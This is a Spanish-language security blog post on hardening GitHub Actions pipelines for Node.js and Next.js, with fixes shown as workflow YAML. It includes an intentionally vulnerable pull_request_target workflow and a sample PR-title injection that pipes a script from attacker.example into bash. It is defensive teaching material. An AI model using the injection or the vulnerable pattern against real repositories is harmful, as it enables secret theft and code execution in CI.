← Volver al blog
GitHub ActionsSeguridad CI/CDNode.jsNext.jsCadena de suministroDevSecOpsnpm

Asegurar GitHub Actions en Node.js y Next.js: pwn requests, envenenamiento de caché y procedencia de npm [2026]

Tu pipeline de CI es el objetivo de mayor valor del repositorio

La mayoría de los consejos de seguridad para Node.js y Next.js se detienen en la aplicación: escapa la entrada del usuario, valida el cuerpo, configura las flags de la cookie. Eso es necesario, y también es donde los equipos dejan de pensar. Mientras tanto, un único archivo YAML en .github/workflows/ guarda un GITHUB_TOKEN que puede escribir en el repositorio, un NPM_TOKEN que puede publicar tu paquete en el registro del que instalan tus clientes, credenciales de nube que llegan a producción y una clave de despliegue que publica lo que el workflow decida publicar.

Esa combinación es la razón de que CI/CD no sea un detalle de build, sino el objetivo de mayor valor en un repositorio JavaScript moderno. Un fallo en tu API filtra los datos de un solo cliente. Un pipeline comprometido lo filtra todo, y lo hace con tu firma: el artefacto está firmado, la atestación de procedencia (provenance) es válida, las notas de la release son reales. Aguas abajo, npm install lo descarga sin mostrar ninguna advertencia.

Este artículo es una pasada práctica de endurecimiento sobre GitHub Actions para proyectos de Node.js y Next.js. Cada regla de abajo se corresponde con un ataque que ha funcionado en el mundo real, y cada corrección es un diff de workflow que puedes aplicar hoy.

La causa raíz: entrada no confiable que llega a un job con privilegios

Casi cualquier compromiso de CI/CD se reduce a una frase: un valor controlado por el atacante llegó a un job que tenía privilegios que no debería tener. El atacante suele ser un contribuidor externo que abre un pull request, y el job privilegiado suele ser el que se ejecuta con secretos.

El problema es que GitHub Actions hace que la opción segura sea un poco menos cómoda que la insegura. La lista de valores que un atacante puede influir en un repositorio público es larga, y ninguno de ellos parece peligroso en un archivo YAML:

  • github.event.pull_request.title, .body, .head.ref, .head.label
  • github.event.issue.title, .body
  • github.event.comment.body, github.event.review.body
  • github.event.pages[].page_name (en eventos gollum)
  • github.head_ref (el nombre de la rama de un PR de fork)
  • github.event.workflow_run.head_branch
  • Cualquier mensaje de commit y cualquier nombre de fichero del checkout de un fork

Algunos de esos valores se convierten en código (se interpolan en un paso run:). Otros se convierten en rutas (se usan en actions/checkout o en un comando tar). Otros se convierten en claves de caché. Trátalos todos como cadenas hostiles, porque eso son.

Regla 1: nunca combines pull_request_target con un checkout de código no confiable

Este es el clásico "pwn request", y sigue colando. El trigger pull_request_target se diseñó para dar a los mantenedores una forma de etiquetar o comentar pull requests de forks con un token de escritura. Lo que hace en realidad es ejecutar el workflow en el contexto del repositorio base, con un GITHUB_TOKEN de lectura/escritura y acceso a los secretos del repositorio. Eso está bien siempre que el workflow nunca ejecute código del fork.

En el momento en que haces checkout del código del contribuidor, le has entregado tus secretos a un desconocido anónimo:

yaml
# BAD — a textbook pwn request
name: PR Preview

on: pull_request_target          # runs with secrets and a write token

jobs:
  preview:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          # Untrusted: whatever the PR author wants to run
          ref: ${{ github.event.pull_request.head.sha }}
          # The write token is left in .git/config by default
      - run: npm ci              # runs the fork's postinstall scripts
      - run: npm run build       # runs the fork's build scripts

Aquí no hace falta ningún exploit ingenioso. El contribuidor añade un script postinstall en package.json que hace un POST de process.env a un servidor suyo, abre un PR, y el workflow lo ejecuta obedientemente con el NPM_TOKEN y la clave de despliegue en el entorno. No es teoría: es el patrón detrás de una larga lista de incidentes reales en empresas que, por lo demás, tenían una seguridad de aplicación sólida.

La corrección es dividir el workflow por nivel de confianza. El código no confiable se ejecuta en un workflow sin privilegios y sin secretos; el workflow privilegiado consume solo su salida, y solo después de validarla:

yaml
# .github/workflows/pr.yml — untrusted, no secrets, read-only token
name: PR checks

on: pull_request                 # forks get no secrets and a read-only token

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
        with:
          node-version: 22
          cache: npm
      - run: npm ci --ignore-scripts
      - run: npm test -- --run
      - run: npm run build
      - uses: actions/upload-artifact@b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882 # v4.4.3
        with:
          name: dist
          path: |
            .next/standalone
            .next/static
          if-no-files-found: error
          retention-days: 3
yaml
# .github/workflows/comment.yml — privileged, NEVER executes the fork's code
name: PR preview comment

on:
  workflow_run:
    workflows: ["PR checks"]
    types: [completed]

permissions:
  contents: read
  pull-requests: write

jobs:
  comment:
    if: github.event.workflow_run.event == 'pull_request'
    runs-on: ubuntu-latest
    steps:
      # workflow_run provides the PR number as numeric metadata, which is safe
      # to interpolate. Never interpolate a branch name or a title here.
      - run: |
          echo "Run ${{ github.event.workflow_run.id }} finished: ${{ github.event.workflow_run.conclusion }}"

Fíjate en lo que el workflow privilegiado no hace: no descarga el artefacto para ejecutarlo y no hace npm install de nada que venga del PR. En el momento en que un job privilegiado ejecuta código que llega de un pull request, la separación no te compra nada.

Si de verdad necesitas pull_request_target para etiquetar, limita el workflow a actions/labeler y actions/github-script sobre los metadatos del PR, sin ningún paso de checkout.

Regla 2: pasa los valores no confiables por env, nunca por ${{ }} dentro de run:

El segundo hallazgo más común es la interpolación directa de contexto no confiable en un paso de shell. GitHub Actions expande ${{ ... }} antes de que el shell vea el script, así que el valor pasa a formar parte del texto de tu script:

yaml
# BAD — the PR title is now part of the shell script
- name: Announce
  run: echo "Deploying ${{ github.event.pull_request.title }}"

Pon el título del PR a "; curl -s https://attacker.example/p.sh | bash # y el workflow ejecutará código del atacante con el token del job. La ejecución de subshell, la expansión de variables y $(...) funcionan porque la interpolación ocurre antes de que bash parsee nada.

La corrección es pasar el valor como variable de entorno, de forma que sea datos y nunca texto de script:

yaml
# GOOD — the value is data, not code
- name: Announce
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: printf 'Deploying %s\n' "$PR_TITLE"

Usa env: para todo contexto no confiable, y prefiere printf a echo cuando imprimas cadenas arbitrarias. La misma regla aplica a los workflows reutilizables: pasa los valores no confiables como inputs con un type: string explícito, y sigue referenciándolos a través de env dentro del workflow llamado.

Regla 3: declara permissions de forma explícita y no concedas nada al token por defecto

El alcance por defecto del GITHUB_TOKEN depende de la configuración del repositorio o de la organización, y equivocarse sobre cuál te aplica a ti ya es un fallo de seguridad en sí mismo. No dependas del valor por defecto. Decláralo en la cabecera de cada workflow y amplíalo por job solo donde sea necesario:

yaml
name: Release

on:
  push:
    tags: ["v*"]

# Deny everything by default; jobs opt back in explicitly.
permissions: {}

jobs:
  publish:
    runs-on: ubuntu-latest
    permissions:
      contents: write        # create the GitHub release
      id-token: write        # OIDC for npm trusted publishing
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0
        with:
          node-version: 22
          registry-url: https://registry.npmjs.org
      - run: npm ci --ignore-scripts
      - run: npm run build
      - run: npm publish --provenance --access public

permissions: {} arriba significa que si alguien añade después un paso o una acción de terceros al job publish, no hereda contents: write en silencio. Como cualquier acción que invoques hereda tu token, este es también el control que limita el radio de impacto de una dependencia comprometida en tu workflow, que es el tema de la siguiente regla.

Configura además persist-credentials: false en cualquier checkout cuyo job no necesite hacer push. Por defecto, checkout guarda el token en la configuración local de git, y cualquier paso posterior puede leerlo.

Regla 4: fija cada acción de terceros a un SHA de commit

uses: actions/checkout@v4 no es un pin de versión: es un puntero a un tag de Git mutable. Quien pueda escribir en ese repositorio puede mover v4 al commit que quiera, y tu siguiente ejecución lo ejecutará. No es hipotético: en marzo de 2025 un atacante comprometió la acción ampliamente usada tj-actions/changed-files, reapuntó sus tags de versión a un commit malicioso y exfiltró secretos de runners de CI a los logs de los workflows en miles de repositorios (CVE-2025-30066). Un par de tags relacionados en reviewdog/action-setup se comprometió en la misma campaña (CVE-2025-30154). Los equipos que habían fijado SHAs no se vieron afectados; los que habían fijado tags, sí.

yaml
# BAD — a mutable tag
- uses: actions/checkout@v4

# GOOD — a 40-character commit SHA with the version in a comment
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

La objeción habitual es el mantenimiento, y es un problema resuelto. Deja que Dependabot los fije y los actualice por ti, de forma que recibas las actualizaciones de seguridad como pull requests revisables en lugar de como movimiento silencioso de tags:

yaml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 5
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    groups:
      prod-deps:
        dependency-type: "production"

El mismo razonamiento aplica a las imágenes docker:// referenciadas por digest, a los workflows reutilizables (uses: owner/repo/.github/workflows/x.yml@<sha>) y a cualquier script de instalación del tipo curl | bash escondido dentro de una acción compuesta. Si no puedes fijarlo a un digest o a un SHA, no lo ejecutes en un job que tenga secretos.

Defensa en profundidad para la misma amenaza: npm ci --ignore-scripts (o --foreground-scripts para al menos registrar lo que se ejecuta) en CI evita que una dependencia transitiva maliciosa se ejecute durante la instalación, y npm ci en vez de npm install garantiza que se respeta el lockfile.

Regla 5: envenenamiento de caché y de artefactos

Las cachés y los artefactos son canales de datos entre jobs, y los canales de datos pueden transportar la carga útil del atacante.

Envenenamiento de caché (cache poisoning). Una caché escrita por un workflow no confiable puede ser restaurada por uno privilegiado si las claves se solapan. Los restore-keys amplios hacen probable ese solapamiento: un workflow de PR que puebla prefijos npm-<os>-, o un job de release privilegiado que restaura con un prefijo en lugar de con una clave exacta, pueden traer un node_modules envenenado a un job que después lo publica.

yaml
# RISKY — restore-keys makes a cache written by another run reachable here
- uses: actions/cache@6849a6489940f00c2f30c0fb92c6274307ccb58a # v4.1.2
  with:
    path: ~/.npm
    key: npm-${{ runner.os }}-${{ hashFiles('package-lock.json') }}
    restore-keys: |
      npm-${{ runner.os }}-

Recomendación: en los workflows privilegiados, nunca restaures una caché que un workflow no confiable pueda escribir, y nunca cachees node_modules: cachea el directorio de descargas del gestor de paquetes (~/.npm) y reinstala con npm ci para que sea el lockfile quien decida qué acaba entrando. Si usas restore-keys, mantén el prefijo lo bastante específico como para que solo las ejecuciones confiables lo produzcan.

Envenenamiento de artefactos (artifact poisoning). Un job de workflow_run que descarga un artefacto producido por un workflow de PR y después lo publica o lo despliega ha movido la frontera de confianza sin darse cuenta. El artefacto puede contener un dist/ modificado, un package.json manipulado o un árbol node_modules con una dependencia con puerta trasera. De ahí salen dos reglas: transfiere solo salidas de build (nunca node_modules, nunca lockfiles, nunca scripts) y — para cualquier cosa que llegue a un registro o a producción — reconstruye desde el código fuente en el workflow privilegiado con npm ci, en lugar de confiar en los ficheros subidos.

yaml
# The artifact is evidence, not authority: verify it, then rebuild.
- uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
  with:
    name: dist
    path: ./dist-from-pr
- name: Verify the artifact came from the expected commit
  env:
    HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
  run: |
    test -f ./dist-from-pr/build-info.json
    grep -qF "$HEAD_SHA" ./dist-from-pr/build-info.json
- name: Rebuild from a trusted ref before publishing
  run: |
    git checkout main
    npm ci --ignore-scripts
    npm run build

Para los artefactos que distribuyes, actions/attest-build-provenance te permite publicar una atestación de procedencia firmada, de forma que los consumidores aguas abajo puedan verificar qué workflow y qué commit produjeron el artefacto: el mismo mecanismo que usa npm publish --provenance.

Regla 6: mantén el código no confiable fuera de los runners persistentes

Los runners alojados por GitHub son efímeros: se crean para el job y se destruyen después. Los self-hosted no lo son, salvo que los hayas construido así. Un runner persistente que ejecuta el código de un fork es un punto de apoyo para persistir: el atacante puede modificar el toolchain del runner, dejar un fichero en un workspace compartido, leer las credenciales que el propio runner tenga o envenenar una capa de Docker compartida que use el siguiente job.

Si haces self-hosting por coste o por motivos de hardware, entonces: no los asocies nunca a repositorios públicos, ejecútalos siempre en modo efímero y de un solo uso (despliegues de runner dirigidos por Kubernetes con --ephemeral, o un autoescalado que destruya la instancia después de cada job) y dales un rol de instancia que pueda hacer exactamente una cosa. Si ejecutas código no confiable en un runner persistente, asume que el runner está comprometido tras el primer pull request malicioso.

Regla 7: sustituye los secretos de larga vida por OIDC

Los secretos estáticos son la razón por la que un compromiso de CI se convierte en un compromiso de nube. Una AWS_SECRET_ACCESS_KEY o un NPM_TOKEN en los secretos del repositorio son una credencial con vida ilimitada que una línea de log filtrada puede exponer para siempre.

Tanto los proveedores de nube como npm admiten hoy federación de identidad de carga de trabajo (workload identity federation), así que el workflow obtiene credenciales de corta duración que caducan en minutos y están vinculadas al repositorio y a la ref que las solicitó:

yaml
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write          # the ONLY thing needed to mint short-lived credentials
    environment: production
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          persist-credentials: false
      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
          aws-region: us-east-1
          # No long-lived keys anywhere in the repository.
      - run: ./scripts/deploy.sh

En npm, el trusted publishing elimina el NPM_TOKEN por completo: configura el publisher en npmjs.com para el repositorio y el workflow, concede id-token: write y publica con --provenance. El registro verifica el token de OIDC y el paquete publicado lleva una atestación que lo vincula al commit y al workflow exactos que lo construyeron. Después borra el token antiguo de los secretos del repositorio y revócalo en el registro, porque un token que todavía funciona sigue siendo un objetivo.

Si un proveedor solo admite credenciales estáticas, trátalas como una excepción de emergencia: limitadas a un único recurso, rotadas con una periodicidad fija, guardadas en un secreto con alcance de entorno en lugar de un secreto de repositorio y nunca disponibles para un workflow que ejecute código no confiable.

Regla 8: pon producción detrás de un entorno protegido

environment: te da una puerta de aprobación que se sitúa entre "el workflow ha decidido desplegar" y "el workflow ha desplegado". Los revisores obligatorios, un temporizador de espera y una restricción de ramas convierten una credencial de push comprometida en una petición que una persona puede rechazar.

yaml
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://app.example.com   # required reviewers configured in repo settings

Combínalo con concurrency para que dos despliegues no compitan, y con una guarda if: github.ref == 'refs/heads/main' para que un tag empujado por un token comprometido no llegue a producción sin revisión.

Regla 9: haz el pipeline observable

No puedes revisar lo que no puedes ver. Dos controles de bajo coste se pagan solos:

  • Auditoría de salida de red (egress auditing). step-security/harden-runner en modo auditoría registra cada destino de red al que contacta el job, a nivel de DNS e IP, que es como encuentras el paso de exfiltración que añadió una acción comprometida. Toma una línea base durante una semana y luego pasa a modo block con una allowlist.
  • Un diff revisable para los cambios de workflow. Añade .github/workflows/** a CODEOWNERS para que cualquier cambio en la lógica del pipeline exija una revisión de seguridad o de plataforma, y activa la protección de rama que exige esas revisiones. El YAML es código de producción; trata los cambios en él como tratas los cambios en auth/.

Checklist de endurecimiento

  • [ ] Ningún workflow de pull_request_target hace checkout ni ejecuta código del PR.
  • [ ] Los PR de forks se ejecutan sin secretos y con token de solo lectura; los seguimientos privilegiados usan workflow_run y nunca ejecutan artefactos del PR.
  • [ ] Todo valor github.* no confiable llega a run: a través de env:, nunca por interpolación de ${{ }}.
  • [ ] permissions: {} (o contents: read) en la cabecera, con opt-in por job; persist-credentials: false donde no hagas push.
  • [ ] Cada acción de terceros, workflow reutilizable e imagen de contenedor está fijada a un SHA de 40 caracteres o a un digest, y Dependabot los mantiene al día.
  • [ ] npm ci (no npm install) en todas partes, --ignore-scripts donde el build lo permita.
  • [ ] Los jobs privilegiados nunca restauran una caché escrita por un workflow no confiable; node_modules nunca se cachea.
  • [ ] Los artefactos que cruzan una frontera de confianza se validan o se reconstruyen, y los artefactos publicados llevan atestación de procedencia.
  • [ ] Sin runners self-hosted asociados a repositorios públicos; cualquier runner self-hosted es efímero y de un solo uso.
  • [ ] El acceso a la nube y al registro usa OIDC; no queda ningún NPM_TOKEN ni clave de nube de larga vida en los secretos del repositorio.
  • [ ] Los despliegues a producción están detrás de un entorno protegido con revisores obligatorios.
  • [ ] .github/workflows/** está en CODEOWNERS y la auditoría de salida de red está activada.

Qué hacer esta semana

Empieza por el diff que elimina más riesgo: busca en todos los workflows pull_request_target, ${{ github.event. dentro de run: y líneas uses: sin un SHA de 40 caracteres. Esos tres greps encuentran la mayoría de los pipelines explotables. Después mueve el resto: elimina los tokens de larga vida en favor de OIDC, y pon environment: production delante del job de despliegue. Todo lo demás es endurecimiento; esos tres son la diferencia entre un pipeline que sobrevive a un pull request malicioso y uno que lo publica en silencio.

Comparte este artículo:TwitterLinkedIn
JS

JS Security Audit

Auditorías dirigidas por un ingeniero de seguridad JavaScript senior con más de 10 años de experiencia.